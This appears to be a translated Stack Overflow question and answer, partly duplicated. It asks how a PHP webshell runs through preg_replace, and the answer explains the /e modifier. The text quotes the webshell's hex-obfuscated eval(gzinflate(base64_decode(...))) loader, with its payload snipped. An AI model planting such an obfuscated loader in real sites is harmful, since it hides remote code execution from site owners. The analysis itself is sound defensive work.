谁能解释这个 PHP 代码是如何执行的,因为 preg_replace 是唯一的功能
Can anyone explain how this PHP code gets executed as preg_replace is the only function
谁能解释一下这是如何执行的?这是一个 webshell,我能看到的唯一功能是 preg_replace。我通常看到的 webshells 是 base64 编码的,然后只是 eval()ed,但是这个使用 preg_replace() 作为最终函数。
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs<<SNIPPED>>Hhkj6Yn/xc='\x29\x29\x29\x3B",".");?>
代码太长所以我只贴了一部分代码。您可以查看 full source here
这部分
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28
等于
eval(gzinflate(base64_decode(
但它仍在双引号内,因此仍应将其视为字符串,还是我遗漏了什么?
/e 是一个 PCRE 修饰符 (PREG_REPLACE_EVAL),它在替换前将字符串计算为 PHP。由于没有发生替换,它会准确评估您复制的内容。 PHP 5.5 后触发 DEPRECATED,7.0 后,由于安全问题已被删除。
PCRE修饰符可以找到相应的文档here。
谁能解释一下这是如何执行的?这是一个 webshell,我能看到的唯一功能是 preg_replace。我通常看到的 webshells 是 base64 编码的,然后只是 eval()ed,但是这个使用 preg_replace() 作为最终函数。
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs<<SNIPPED>>Hhkj6Yn/xc='\x29\x29\x29\x3B",".");?>
代码太长所以我只贴了一部分代码。您可以查看 full source here
这部分
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28
等于
eval(gzinflate(base64_decode(
但它仍在双引号内,因此仍应将其视为字符串,还是我遗漏了什么?
/e 是一个 PCRE 修饰符 (PREG_REPLACE_EVAL),它在替换前将字符串计算为 PHP。由于没有发生替换,它会准确评估您复制的内容。 PHP 5.5 后触发 DEPRECATED,7.0 后,由于安全问题已被删除。
PCRE修饰符可以找到相应的文档here。